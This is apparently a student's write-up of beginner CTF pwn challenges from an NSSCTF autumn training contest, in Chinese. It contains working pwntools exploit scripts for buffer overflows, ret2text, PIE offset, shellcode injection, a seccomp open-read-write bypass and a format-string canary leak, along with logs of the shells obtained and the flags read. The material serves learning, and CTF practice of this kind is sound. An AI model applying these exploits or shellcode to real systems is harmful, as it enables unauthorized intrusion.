PWN (PWN) SWPU-NSSCTF 秋季招新入门训练赛 GHSC 2025-09-22 2026-04-13 SWPU-NSSCTF 秋季招新入门训练赛 1.gift_pwn
缓冲区溢出
buf : 0x10為地址
在ida中找到gift函數
gift .text 00000000004005B6 00000020 00000008 R . . . . . B . .
gitf: 0x4005B6
寫腳本
1 2 3 4 5 6 7 from pwn import *p= remote("node4.anna.nssctf.cn" ,28954 ) elf = ELF('./gift' ) shell = 0x4005B6 payload = b'a' *0x18 +p64(shell) p.send(payload) p.interactive()
$ ls bin dev flag
2.Does your nc work? node5.anna.nssctf.cn:25138
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ghsc@DESKTOP-JDO3EH1:~/NewStar2025$ nc node5.anna.nssctf.cn 25138 Wlecome to NSS!! ____ _____ ______ ______ |_ \ |_ _| .' ____ \ .' ____ \ | \ | | | (___ \_ | |(___\_| | | \ \| | _.____` . _.____`. _| |_\ |_ |\____) | |\____) | |_____|\____| \______.' \______.' Do you know where the flag is? ls bin dev lib lib32 lib64 libx32 nss pwn cd nss ls ctf cat ctf cat: ctf: Is a directory cd ctf ls flag cat flag NSSCTF{30cdd437-d765-4810-b308-2ab9360817ca}
3.口算题卡 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 ghsc@DESKTOP-JDO3EH1:~/NewStar2025$ nc node4.anna.nssctf.cn 28755 __ ________ _________ ______ _________ ______ /_/\ /_______/\ /________/\ /_____/\ /________/\ /_____/\ \:\ \ \__.::._\/ \__.::.__\/ \:::__\/ \__.::.__\/ \::::_\/_ \:\ \ \::\ \ \::\ \ \:\ \ __ \::\ \ \:\/___/\ \:\ \____ _\::\ \__ \::\ \ \:\ \/_/\ \::\ \ \:::._\/ \:\/___/\ /__\::\__/\ \::\ \ \:\_\ \ \ \::\ \ \:\ \ \_____\___________________ \__\_____ \_____\______ \__\/ \_\/ /_____/\ /_____/\ /_____/\ /_____/\ \:::_:\ \ \:::_ \ \ \:::_:\ \ \:::_:\ \ _\:\| \:\ \ \ \ _\:\| /_\:\ \ _______ /::_/__ \:\ \ \ \ /::_/__ \::_:\ \ /______/\ \:\____/\ \:\_\ \ \ \:\____/\ /___\:\ ' \__::::\/ \_____\/ \_____\/ \_____\/ \______/ Welcome to the LitCTF2023 Verbal Problem Card! You will be presented with 100 addition and subtraction problems. Your goal is to answer all of them correctly to get the flag! if you wrong, you will be kicked out of the game. Good luck & Have fun! What is 13 - 36? -23 Correct! What is 4 + 83? 87 Correct! What is 60 + 56? 116 Correct! What is 45 - 88? -43 Correct! What is 44 + 24? 68 Correct! What is 54 + 42? 96 Correct! What is 87 + 96? 183 Correct! What is 8 - 39? -31 Correct! What is 98 + 86? 184 Correct!
看來要寫python腳本了( ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *p= remote('node4.anna.nssctf.cn' , 28218 ) context(os='linux' ,arch='arm64' ,log_level='debug' ) for i in range (100 ): p.recvuntil(b'What is ' ) temp = p.recvuntil(b'?\n' )[:-2 ] a=eval (temp) p.sendline(str (a)) print (p.recv())print (p.recv())
4.where_is_shell 栈对齐:
https://blog.csdn.net/yjh_fnu_ltn/article/details/138512152
細講:
https://www.bilibili.com/video/BV1aDaUzsEnJ/?spm_id_from=333.1387.homepage.video_card.click&vd_source=b128d59725d91ecef706ce0b01795a8f
1 2 3 chmod +x shell pwn checksec shell file shell
NX 啟動了。64位
NX保護 NX (No-eXecute) 保護,也被稱為 XD (Execute Disable) 位、DEP (Data Execution Prevention) 或 W^X (Write XOR Execute),是一種旨在 防止數據區域(如堆、棧)被執行代碼,從而緩和緩衝區溢出攻擊的安全機制。
通過拼接程序中已有的、以 ret 指令結束的小段代碼(稱為 “gadgets”)來構成惡意邏輯。這些 gadgets 存在於本來就標記為「可執行」的代碼段中,因此 NX 保護對其無效。
用ida看看: buf用了10位
1 2 3 4 5 6 7 8 int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38u); return 0; }
沒有找到system(“/bin/sh”)
看看IDA中的tips函數
把它變成chr()可看出是一個”$0”
拿到shell的有:
1 2 .text:0000000000400540 008 E8 24 30 00 00 call near ptr 403569h _system .plt 0000000000400430 00000006 R . . . . . . T . .
所以要:
shellptr = 0x400540+1 開始(jump E8)
system = 0x400430
我們要把rdi變成$0 , 下一個斷點,
按一下e , 把它改成$0地址 : 0x400541
可以看見我把我自己的shell搞出來了(本地), 可以用這一種思路來寫python
看看rbp是多少:
10位 + 8位(rbp) , 所以垃圾數據要 b’a’*(0x10+8)
ret : 0x400416
pop_rdi : 0x4005e3 (怎麼找的,pop是指彈出, )
binsh : 0x400541
system : 0x400430
3.最後的目標,要是在system函數的return 字符跳去tap “$0”的字符去
其實我不明白這個函數有什麼用?(猜測:在read函數時調用system函數,並在return嘅時候引用「$0」
那麼新的問題又來了,在棧上符付串是如何讀取的?為什麼給這些地址就能迴響函數?(猜測:用了p64(),Rip把它當成地址去讀取,並執行地址下面的機械碼)
因為我沒有記錯的話,電腦是以小端序的方式排列的所以payload讀取的地址應該是從system開始?
https://blog.csdn.net/yongbaoii/article/details/109098446
ROPgadget 安装 错误处理 与使用
5.Shell shell ubuntu 16.04 你会用 Linux 吗? 你知道什么是 Shell 吗?https://github.com/XDSEC/MoeCTF_2022
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ghsc@DESKTOP-JDO3EH1:~$ nc node5.anna.nssctf.cn 29880 Welcome to PWN world! In PWN, your goal is to get shell. Here I'll give you the shell as a gift for our first meeting. Have fun in the following trip! ls bin dev flag lib lib32 lib64 pwn cat flag NSSCTF{683bd45d-e5b0-4335-963d-39a4770a3cad}
6.ret2text_ez Ubuntu 16.04 这是一个更简单的ret2text哦~~~https://github.com/XDSEC/moeCTF_2021
只開了NX保護 , 64位程式
1 2 3 4 5 6 int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); vuln(); return 0; }
追蹤 init函數
1 2 3 4 5 6 7 int __fastcall init(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); return puts("Welcome to moectf 2021~ This's a brand new ret2text and much easier than the old one."); }
追蹤 vuln()函數
1 2 3 4 5 6 ssize_t vuln() { _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF return read(0, buf, 0x32u); }
16*2 + 8 = b’A’ (0x20+8)
1 2 3 4 5 int backdoor() { puts("Congratulations!You get it!!!"); return system("/bin/sh"); }
發現backdoor後面函數
地址: 0x401196
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote("node5.anna.nssctf.cn" , 29821 ) context(os='linux' ,arch='amd64' ,log_level='debug' ) backdoor= 0x401196 payload = b'A' *(0x20 +8 ) + p64(backdoor) p.sendlineafter("one.\n" ,payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 (base) ghsc@DESKTOP-JDO3EH1:~/NSSCTF2025/pwn$ /home/ghsc/anaconda3/envs/py311/bin/python /home/ghsc/NSSCTF2025/pwn/ret2text_ez.py [+] Opening connection to node5.anna.nssctf.cn on port 29821: Done /home/ghsc/anaconda3/envs/py311/lib/python3.11/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [DEBUG] Received 0x55 bytes: b"Welcome to moectf 2021~ This's a brand new ret2text and much easier than the old one." [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Sent 0x31 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 41 41 41 41 41 41 41 41 96 11 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000030 0a │·│ 00000031 [*] Switching to interactive mode [DEBUG] Received 0x1d bytes: b'Congratulations!You get it!!!' Congratulations!You get it!!![DEBUG] Received 0x1 bytes: b'\n' $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x21 bytes: b'bin\n' b'dev\n' b'flag\n' b'lib\n' b'lib32\n' b'lib64\n' b'pwn\n' bin dev flag lib lib32 lib64 pwn $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x2d bytes: b'NSSCTF{9c9807db-a66d-4536-b9a5-3ee3223118ad}\n' NSSCTF{9c9807db-a66d-4536-b9a5-3ee3223118ad}
7.ezpie
這是一個簡單的pie , 32位程式 , 開了NX和PIE
運行一下 , 发现他有gift给main的地址,那么只需要根据偏移量来得到shell到mian的地址就好了
在python上可以用p.recvuntil(b’0x’) 來取 p.recv(8) 轉成一個16進制的形式 ,
int(p.recv(8) , 16)
0x770 - 0x80F 為偏移量
1 2 3 4 5 6 ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF return read(0, buf, 0x50u); }
0x28+4 = 0x2C
1 payload = cyclic(0x2C ) + p32(int (p.recv(8 ) , 16 ) + abs (0x770 - 0x80F ))
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node7.anna.nssctf.cn" , 27482 ) context(os='linux' ,arch='i386' ,log_level='debug' ) p.recvuntil(b'0x' ) attack = int (p.recv(8 ) , 16 ) + abs (0x770 - 0x80F ) payload = cyclic(0x2C ) + p32(attack) p.sendafter ( b'Input:\n' , payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 (base) ghsc@DESKTOP-JDO3EH1:~$ /home/ghsc/anaconda3/envs/py311/bin/python /home/ghsc/NSSCTF2025/pwn/pie.py [+] Opening connection to node7.anna.nssctf.cn on port 27482: Done [DEBUG] Received 0x16 bytes: b'OHHH!,give you a gift!' [DEBUG] Received 0x13 bytes: b'\n' b'0x56608770\n' b'Input:\n' [DEBUG] Sent 0x30 bytes: 00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│ 00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│ 00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 0f 88 60 56 │iaaa│jaaa│kaaa│··`V│ 00000030 [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x21 bytes: b'bin\n' b'dev\n' b'flag\n' b'lib\n' b'lib32\n' b'lib64\n' b'pwn\n' bin dev flag lib lib32 lib64 pwn $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x2d bytes: b'NSSCTF{a94350b0-4c6b-4397-8b84-5eef16cc775e}\n' NSSCTF{a94350b0-4c6b-4397-8b84-5eef16cc775e}
8.getshell2
32位 , 開了NX
1 2 3 4 5 6 int __cdecl main(int argc, const char **argv, const char **envp) { init(); vulnerable(); return 0; }
1 2 3 4 5 6 7 8 9 10 11 int init() { alarm(0x20u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); return puts( " __ ___ ______ ___ \n" " / |/ /__ /_ __/__< /_ __\n" " / /|_/ / _ `// / / __/ /\\ \\ /\n" "/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n"); }
1 2 3 4 5 6 ssize_t vulnerable() { _BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF return read(0, buf, 0x24u); }
0x18+4 = 0x1C
可用部分只有 0x24 - 0x1c = 0x8 个字节
0x8048529
取sh
應該是0x8048673 - 3 = 0x8048670
沒什麼問題了
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * #node5.anna.nssctf.cn:21312 p = remote("node5.anna.nssctf.cn", 21312) context(os='linux',arch='i386',log_level='debug') system_addr = 0x8048529 sh_addr = 0x8048670 payload = b'A'*(0x1c) + p32(system_addr) + p32(sh_addr) p.sendafter("/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n" , payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 [DEBUG] Received 0x7c bytes: b' __ ___ ______ ___ \n' b' / |/ /__ /_ __/__< /_ __\n' b' / /|_/ / _ `// / / __/ /\\ \\ /\n' b'/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n' [DEBUG] Sent 0x24 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 29 85 04 08 │AAAA│AAAA│AAAA│)···│ 00000020 70 86 04 08 │p···│ 00000024 [*] Switching to interactive mode [DEBUG] Received 0x1 bytes: b'\n' $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x55 bytes: b'bin\n' b'boot\n' b'dev\n' b'etc\n' b'home\n' b'lib\n' b'lib64\n' b'media\n' b'mnt\n' b'opt\n' b'proc\n' b'root\n' b'run\n' b'sbin\n' b'srv\n' b'sys\n' b'tmp\n' b'usr\n' b'var\n' bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cd home [DEBUG] Sent 0x8 bytes: b'cd home\n' $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x4 bytes: b'ctf\n' ctf $ cd ctf [DEBUG] Sent 0x7 bytes: b'cd ctf\n' $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x11 bytes: b'flag.txt\n' b'service\n' flag.txt service $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x2d bytes: b'NSSCTF{8c6d2ab4-42ec-42d3-86ba-951189ab2980}\n' NSSCTF{8c6d2ab4-42ec-42d3-86ba-951189ab2980}
9.ret2shellcode
開了SHSTK和IBT , 64位
給了我這一些代碼 , setbuf 後 mprotect 再 read 。0x110個字可讀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include<stdio.h> char buff[256]; int main() { setbuf(stdin,0); setbuf(stderr,0); setbuf(stdout,0); mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7); char buf[256]; memset(buf,0,0x100); read(0,buf,0x110); strcpy(buff,buf); return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall main(int argc, const char **argv, const char **envp) { char s[256]; // [rsp+0h] [rbp-100h] BYREF setbuf(stdin, 0); setbuf(stderr, 0); setbuf(stdout, 0); mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000u, 7); memset(s, 0, sizeof(s)); read(0, s, 0x110u); strcpy(buff, s); return 0; }
ida 版 , 0x100+ 8
這一題如名, shellcode 用pwntools 生成asm (shellcraft.sh())
參考這一個wp :
https://blog.csdn.net/Mr_Fmnwon/article/details/130359573
1 2 mprotect()函数 在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
code中是修改為7 (滿權限)
我們用gdb來查看bss段
vmmap一下
buff在0x4040A0 在rw-p 可读写不可执
可以看見在執行完mprotect後變成rwxp , 因此我們可以用shellcode 寫入bss段
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('node5.anna.nssctf.cn' ,25840 ) context(os='linux' ,arch='amd64' ,log_level='debug' ) shellcode = asm(shellcraft.sh()) bss_addr = 0x4040A0 payload = shellcode.ljust(0x100 +8 ,b'a' ) + p64(bss_addr) p.sendline(payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [DEBUG] Sent 0x111 bytes: 00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│ 00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│ 00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│ 00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000100 61 61 61 61 61 61 61 61 a0 40 40 00 00 00 00 00 │aaaa│aaaa│·@@·│····│ 00000110 0a │·│ 00000111 [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x36 bytes: b'bin\n' b'dev\n' b'flag\n' b'lib\n' b'lib32\n' b'lib64\n' b'libexec\n' b'libx32\n' b'shellcode\n' bin dev flag lib lib32 lib64 libexec libx32 shellcode $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x26 bytes: b'nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}\n' nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}
10.babyarray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts(" ____ _ _ ____ _____ _____ "); puts("/ ___|| | | |/ ___|_ _| ___|"); puts("\\___ \\| | | | | | | | |_ "); puts(" ___) | |_| | |___ | | | _| "); puts("|____/ \\___/ \\____| |_| |_| "); puts(" "); puts("============================"); puts("index:"); __isoc99_scanf("%d", &v4); puts("value:"); __isoc99_scanf("%d", 4LL * v4 + 6295712); if ( !a ) printf("SUCTF{xxxxxxxxxxxxxxx}"); return 0; }
1 2 3 4 .data:0000000000601068 public a .data:0000000000601068 01 00 00 00 a dd 1 ; DATA XREF: main+D5↑r .data:0000000000601068 _data ends .data:0000000000601068
a被設為1 , 目標是把a改成0 , 這樣!(a) == 1
這是第二次scanf的 == 4 + 0x06010A0
(0x601068 - 0x06010A0)/4 = -14
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote('node4.anna.nssctf.cn' ,28839 ) a_addr = 0x0000000000601068 offset = (a_addr - 6295712 )/4 print (offset)p.sendlineafter('index:' ,b'-14' ) p.sendlineafter('value:' ,b'0' ) print (p.recvuntil('}' ))
[CISCN 2019华中]PWN1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __fastcall main(int argc, const char **argv, const char **envp) { int n2; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); while ( 1 ) { while ( 1 ) { fflush(0); n2 = 0; __isoc99_scanf("%d", &n2); getchar(); if ( n2 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( n2 == 3 ) { puts("Bye!"); return 0; } if ( n2 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int encrypt() { size_t x; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { x = (unsigned int)x; if ( x >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s); }
1 2 3 4 5 6 7 8 int begin() { puts("===================================================================="); puts("1.Encrypt"); puts("2.Decrypt"); puts("3.Exit"); return puts("Input your choice!"); }
小写字母 (a-z): s[x] ^= 0xDu (异或13)
大写字母 (A-Z): s[x] ^= 0xEu (异或14)
数字 (0-9): s[x] ^= 0xFu (异或15)
我們要用libc來構造ROP鏈 , 在寫代碼前先簡單看看這個:
https://www.bilibili.com/video/BV1WRKmzkEiq?spm_id_from=333.788.player.switch&vd_source=b128d59725d91ecef706ce0b01795a8f
[HGAME 2023 week1]simple_shellcode 加餐 link 老師精選
1 2 3 4 5 6 7 8 9 10 int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); mmap((void *)0xCAFE0000LL, 0x1000u, 7, 33, -1, 0); puts("Please input your shellcode:"); read(0, (void *)0xCAFE0000LL, 0x10u); sandbox(); MEMORY[0xCAFE0000](); return 0; }
有一個mmap 改變了限權 , read 讀0xCAFE0000LL 10個unsig ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 unsigned __int64 __fastcall sandbox(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) { __int64 v7; // [rsp+0h] [rbp-40h] BYREF __int16 n32; // [rsp+10h] [rbp-30h] BYREF char v9; // [rsp+12h] [rbp-2Eh] char v10; // [rsp+13h] [rbp-2Dh] int v11; // [rsp+14h] [rbp-2Ch] __int16 n21; // [rsp+18h] [rbp-28h] char n2; // [rsp+1Ah] [rbp-26h] char v14; // [rsp+1Bh] [rbp-25h] int n59; // [rsp+1Ch] [rbp-24h] __int16 n21_1; // [rsp+20h] [rbp-20h] char v17; // [rsp+22h] [rbp-1Eh] char v18; // [rsp+23h] [rbp-1Dh] int n322; // [rsp+24h] [rbp-1Ch] __int16 n6; // [rsp+28h] [rbp-18h] char v21; // [rsp+2Ah] [rbp-16h] char v22; // [rsp+2Bh] [rbp-15h] int n2147418112; // [rsp+2Ch] [rbp-14h] __int16 n6_1; // [rsp+30h] [rbp-10h] char v25; // [rsp+32h] [rbp-Eh] char v26; // [rsp+33h] [rbp-Dh] int v27; // [rsp+34h] [rbp-Ch] unsigned __int64 v28; // [rsp+38h] [rbp-8h] v28 = __readfsqword(0x28u); n32 = 32; v9 = 0; v10 = 0; v11 = 0; n21 = 21; n2 = 2; v14 = 0; n59 = 59; n21_1 = 21; v17 = 1; v18 = 0; n322 = 322; n6 = 6; v21 = 0; v22 = 0; n2147418112 = 2147418112; n6_1 = 6; v25 = 0; v26 = 0; v27 = 0; LOWORD(v7) = 5; prctl(38, 1, 0, 0, 0, a6, v7, &n32); prctl(22, 2, &v7); return __readfsqword(0x28u) ^ v28; }
1 seccomp-tools dump ./vuln
execve和execveat被ban了 ,
目標把rdx改成orw攻擊
可以很明显的了解到跟沙盒有关,再查一下沙盒机制,显然不能直接构造orw,再加上read所存储的字节数少,不能直接构造,所以可以在mmap上面来构造orw
已知: mmap_addr = 0xCAFE0000
目标是触发 read(0, 0xCAFE0000, 更大的长度)
rdi (fd) = 0 , rsi (buf) = mmap_addr , rdx(count) = 0x1000
第一段Shellcode:构造read
1 2 3 4 5 6 7 arm """ xor rdi , rdi ; #fd mov rsi , 0xCAFE0000 ; #buf mov rdx , 0x1000 ; #count xor rax, rax ; #syscall number syscall ; """
第二段Shellcode:ORW获取Flag
1 2 3 4 payload = shellcraft.open ('./flag' ) payload += shellcraft.read(3 , mmap_addr+0x100 , 0x50 ) payload += shellcraft.write(1 , mmap_addr+0x100 , 0x50 ) payload_asm = asm(payload)
find_flag 看看checksec:
保護全開了 , 看看ida 先:
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main(int a1, char **a2, char **a3) { __gid_t rgid; // [rsp+Ch] [rbp-4h] setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); rgid = getegid(); setresgid(rgid, rgid, rgid); sub_1240(); sub_132F(); return 0; }
看不懂 , 先看看程式是怎麼運行呢
看來是一個格式化字符串漏洞,而且有栈溢出。
換libc 由于开了PIE,所以无法在main函数下断点,但是我們有萬能的gdb大人
link大哥教: $rebase(0x地址) 一下就好啦~
1 2 3 4 pwndbg> b *$rebase(0x132F) #sub_132F Breakpoint 2 at 0x55555555532f pwndbg> b *$rebase(0x1240) #sub_1240 Breakpoint 3 at 0x555555555240
然後等待時機找到libc載入時:
收集libc函數地址尾3個 , 再用link大哥給的libc database search : https://libc.blukat.me/?q=read%3Aa80%2Cprintf%3A100%2Csystem%3A750
用glibc-all-in-one下載新的libc 和ld 文件 。
1 sudo ./download 2.39-0ubuntu8.6_amd64
1 2 patchelf --set-interpreter /home/ghsc/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/ld-linux-x86-64.so.2 find_flag patchelf --replace-needed libc.so.6 /home/ghsc/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6 find_flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int sub_1240() { puts("Ahhhh! Morning~~~\n"); puts(" .-\"-."); puts(" / 4 4 \\"); puts(" \\_ v _/"); puts(" // \\\\"); puts(" (( ))"); puts("=======\"\"===\"\"======="); puts(" |||"); puts(" '|'\n"); puts("What a beautiful day!"); puts(" _.-^-._ .--."); puts(" .-' _ '-. |__|"); puts(" / |_| \\| |"); puts(" / \\ |"); puts(" /| _____ |\\ |"); puts(" | |==|==| | |"); puts(" | |--|--| | |"); puts(" | |==|==| | |"); return puts("^^^^^^^^^^^^^^^^^^^^^^^^\n"); } unsigned __int64 sub_132F() { char format[32]; // [rsp+0h] [rbp-60h] BYREF char format_1[56]; // [rsp+20h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Hi! What's your name? "); gets(format); printf("Nice to meet you, "); strcat(format, "!\n"); printf(format); printf("Anything else? "); gets(format_1); return __readfsqword(0x28u) ^ v3; }
1.因為開了canary , 要在rbp-8 找到canary 。
2.找到return 地址。
3.找到libc偏移。
可以看看%17$p 是不是00結尾
猜對了! , 那麼return 地址是%19$p了
接下來來找libc 在stack 可以看見在rbp+028 , vmmap一下找到始地址相減找偏移:
完了 ,我發現可以不用libc , hahahaha有後門函數:
那不用了 , 算本程序的偏移就可以了: vmmap一下:
和ida的是一樣的 , 說明是算對的 , 後門函數地址偏移為0x1229
==> base = return_addr - 0x146F
==> backdoor = base + 0x1229
可以寫代碼了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p=remote('node4.anna.nssctf.cn' ,28928 ) payload1='%17$paaa%19$p' p.recvuntil("name?" ) p.sendline(payload1) buf=p.recvuntil("!" ).decode() tmp=buf.split(" " )[5 ].split("aaa" )[0 ] canary=int (tmp,16 ) tmp=buf.split("aaa" )[1 ].split("!" )[0 ] re_addr=int (tmp,16 ) base_addr=re_addr-0x0146F back_door=base_addr+0x122E payload2=b'a' *(0x40 -0x8 )+p64(canary)+b'a' *8 +p64(back_door) p.recvuntil(" else? " ) p.sendline(payload2) p.interactive()
PWN1 在IDA中沒有system 和 ‘/bin/sh’ :
看來要libc :
用這個查一查 :
https://libc.blukat.me/
用法 :
http://blog.csdn.net/weixin_43833642/article/details/106647234